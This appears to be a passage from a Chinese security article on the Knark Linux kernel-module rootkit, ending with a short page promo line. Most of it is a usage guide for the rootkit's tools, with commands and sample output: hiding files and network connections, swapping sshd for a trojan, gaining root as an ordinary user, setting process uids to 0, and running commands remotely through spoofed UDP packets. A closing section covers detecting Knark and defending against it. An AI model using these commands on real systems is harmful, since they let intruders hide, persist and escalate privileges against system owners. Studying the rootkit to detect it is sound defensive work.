你可以通过访问”cat /proc/knark/files“来察看你隐藏了哪些文件。通过”./unhidef /usr/lib/.hax0r“命令来解除对隐藏文件的隐藏。但是这里有个小小的bug,使得被隐藏的目录在/proc/knark/files中显示的是其加载开始的路径,也就是说如果系统有一个文件系统加载在/mnt,你隐藏了/mnt/secret,则在/proc/knark/files中显示的被隐藏的目录为/secret。因此不会影响根文件被隐藏的目录。
ered 用来配置重定向程序的执行
拷贝特洛伊木马版本的sshd为/usr/lib/.hax0r/sshd_trojan,然后运行”./ered /usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan“,这样当/usr/local/sbin/sshd被运行时,实际上运行的特洛伊木马版本的sshd。可以通过命令./ered -c来清楚所有的可执行程序重定向。
nethide 用来隐藏/proc/net/tcp和/proc/net/udp中的某些字符串
netstat命令就不会得到指定的链接信息。通过命令/nethide ”:ABCD “可以隐藏和端口号ABCD(十六进制)相关的连接(43981 dec)。也就是对/proc/net/[tcp|udp]读取时进行”grep -v“操作。
你必需理解使用该程序从/proc/net/[tcp|udp]得到的输出的意义。假设系统运行有sshd,那么连接到本地22端口以后,运行”netstat -at“,则输出可能包含:
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED
现在我们来检测文件/proc/net/tcp:
cat /proc/net/tcp
则输出可能包含入下内容:
local_address rem_address blablabla...
0:0100007F:0016 0100007F:03FF 01 00000000:00000000 00:00000000 00000000
若我们希望隐藏和地址127.0.0.1相关的任何信息,我们必须使用如上面所示的十六进制的格式。因此如果希望隐藏地址127.0.0.1的22号端口相关的内容就要使用0100007F:0016来标识该链接。因此
./nethide ”0100007F:0016“
将隐藏to/from localhost:22相关的链接信息。
./nethide ”:ABCD “
来去除隐藏。
rootme 用来实现非特权用户获得root访问权限
./rootme /bin/sh
就可以实现以root身份运行/bin/sh。
./rootme /bin/ls -l /root
则是仅仅以root身份运行单个命令。
taskhack 用来改变某个运行着的进程的uid和gid
./taskhack -alluid=0 pid
该命令将进程pid的所有*uid@#s (uid, euid, suid, fsuid)为0 (root).
ps aux | grep bash
creed 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash
现在来改变该进程的euid为0:
./taskhack -euid=0 91
ps aux | grep bash
root (!) 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash
rexec 用来远程执行knark-server的命令:
./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER
这命令将从www.microsoft.com:53发送一个伪装的udp数据包到 haxored.server.nu:53,来运行haxored.server.nu的命令”/bin/touch /LUDER"
入侵者入侵以后往往将knark的各种工具存放在/dev/某个子目录下创建的隐藏子目录,如/dev/.ida/.knard等等。
检测系统是否被安装了Knark
Knark的作者Creed,发布了一个工具:knarkfinder.c来发现Knark隐藏的进程。
检查系统是否安装有Knark的最直接有效的方法是以非特权用户身份来运行Knark的一个软件包如:rootme,看该用户是否能获得root权限。由于目前Knark目前没有认证机制,因此入股系统被安装了Knark任何一个本地用户运行这个程序都能获得root权限。
还有一个最有效的发现系统是否被knark或者类似的rootkit所感染的方法就是使用kstat来检测,具体参考本站的Nexeon写的解决方案文章:检测LKM rootkit。
Knark防范
防止knark最有效的方法是阻止入侵者获得root权限。但是在使用一切常规的方法进行安全防范以后,防止knark之类的基于LKM技术的rootkit的方法是:
*创建和使用不支持可加载模块的内核,也就是使用单块内核。这样knark就不能插入到内核中去了。
*使用lcap (pweb.netcom.com/~spoon/lcap/)实现系统启动结束以后移除内核LKM功能,这样可以防止入侵者加载模块。然而这种方法存在一定的问题,入侵者可以在获得root权限以后修改启动脚本,在lcap启动之前来加载knark模块从而逃避lcap的限制。
★ 强大Win10系统工具 Qwins v1.6.8.0 诸多功能